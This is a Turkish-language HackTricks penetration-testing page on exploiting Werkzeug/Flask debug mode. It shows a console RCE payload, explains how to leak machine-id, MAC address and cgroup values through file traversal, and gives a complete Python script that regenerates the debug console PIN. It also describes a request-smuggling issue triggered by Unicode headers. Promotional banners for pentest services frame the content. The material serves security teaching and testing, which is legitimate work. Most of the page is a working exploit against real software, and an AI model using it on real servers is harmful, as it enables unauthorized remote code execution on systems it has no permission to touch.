Werkzeug / Flask Debug

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.

Konsol RCE

Hata ayıklama etkinse /console'a erişmeyi deneyebilir ve RCE elde edebilirsiniz.

__import__('os').popen('whoami').read();

İnternette bu gibi birkaç açık bulunmaktadır veya metasploit'te bir tane.

Pin Korumalı - Yol Geçişi

Bazı durumlarda /console ucu bir pin ile korunabilir. Eğer bir dosya geçişi açığınız varsa, o pin'i oluşturmak için gerekli tüm bilgileri sızdırabilirsiniz.

Werkzeug Console PIN Sızma Açığı

Uygulamada bir hata sayfası oluşturarak bunu görüntüleyin:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Konsol Kilitli Senaryosu

Werkzeug'in hata ayıklama arayüzüne erişmeye çalışırken "konsol kilitli" senaryosuyla karşılaşılır ve konsolu kilidini açmak için bir PIN gerektiği belirtilir. Werkzeug'ın hata ayıklama başlatma dosyasındaki (__init__.py) PIN oluşturma algoritmasını analiz ederek konsol PIN'ini sömürme önerilir. PIN oluşturma mekanizması Werkzeug kaynak kodu deposundan incelenebilir, ancak olası sürüm farklılıkları nedeniyle gerçek sunucu kodunu dosya gezintisi açığı aracılığıyla temin etmek tavsiye edilir.

Konsol PIN'ini sömürmek için probably_public_bits ve private_bits olmak üzere iki set değişkene ihtiyaç vardır:

probably_public_bits

  • username: Flask oturumunu başlatan kullanıcıyı ifade eder.

  • modname: Genellikle flask.app olarak belirlenir.

  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Genellikle Flask'a çözümlenir.

  • getattr(mod, '__file__', None): Flask dizinindeki app.py'nin tam yolunu temsil eder (örneğin, /usr/local/lib/python3.5/dist-packages/flask/app.py). app.py uygun değilse, app.pyc deneyin.

private_bits

  • uuid.getnode(): Geçerli makinenin MAC adresini alır ve str(uuid.getnode()) ile onu ondalık formata çevirir.

  • **Sunucunun MAC adresini belirlemek için, uygulama tarafından kullanılan etkin ağ arabirimini tanımlamak gerekir (örneğin, ens3). Belirsiz durumlarda, cihaz kimliğini bulmak için /proc/net/arp'yi sızdırın, ardından MAC adresini /sys/class/net/<cihaz kimliği>/address'den çıkarın.

  • Bir onaltılık MAC adresini ondalık formata dönüştürme aşağıdaki gibi gerçekleştirilebilir:

# Örnek MAC adresi: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): /etc/machine-id veya /proc/sys/kernel/random/boot_id ile /proc/self/cgroup'ın son eğik çizgisinden sonraki ilk satırını birleştirir.

def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

# On OS X, use ioreg to get the computer's serial number.
try:

Gerekli tüm veriler toplandıktan sonra, açıklayıcı betik yürütülerek Werkzeug konsolu PIN'i oluşturulabilir. Betik, birleştirilmiş probably_public_bits ve private_bits kullanarak bir karmayı oluşturur, ardından bu karmadan geçerek nihai PIN üretilir. Aşağıda bu işlemi yürütmek için Python kodu bulunmaktadır:

import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Bu betik, bitlerin birleştirilmesiyle PIN'i oluşturur, belirli tuzlar (cookiesalt ve pinsalt) ekler ve çıktıyı biçimlendirir. Üretilen PIN'in Werkzeug konsolu tarafından beklenen PIN ile eşleşmesini sağlamak için probably_public_bits ve private_bits için gerçek değerlerin hedef sistemden doğru bir şekilde alınması önemlidir.

Eğer Werkzeug'in eski bir sürümünde iseniz, sha1 yerine md5 karma algoritmasını denemeyi düşünebilirsiniz.

Werkzeug Unicode karakterleri

Bu sorunda gözlemlendiği gibi, Werkzeug başlıkta Unicode karakterleri olan bir isteği kapatmaz. Ve bu yazıda açıklandığı gibi, bu bir CL.0 İstek Kaçırma zafiyetine neden olabilir.

Bu, Werkzeug'de bazı Unicode karakterlerinin gönderilebilmesinin ve sunucunun çökmesine neden olabileceğinin mümkün olmasıdır. Ancak, eğer HTTP bağlantısı Connection: keep-alive başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı hala açık kalacaktır, bu nedenle isteğin gövdesi bir sonraki HTTP isteği olarak işleme alınacaktır.

Referanslar

Anında kullanılabilir zayıflık değerlendirme ve penetrasyon testi kurulumu. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan özelliklerle. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine kazmak, kabuklar açmak ve eğlenmek için biraz zaman kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated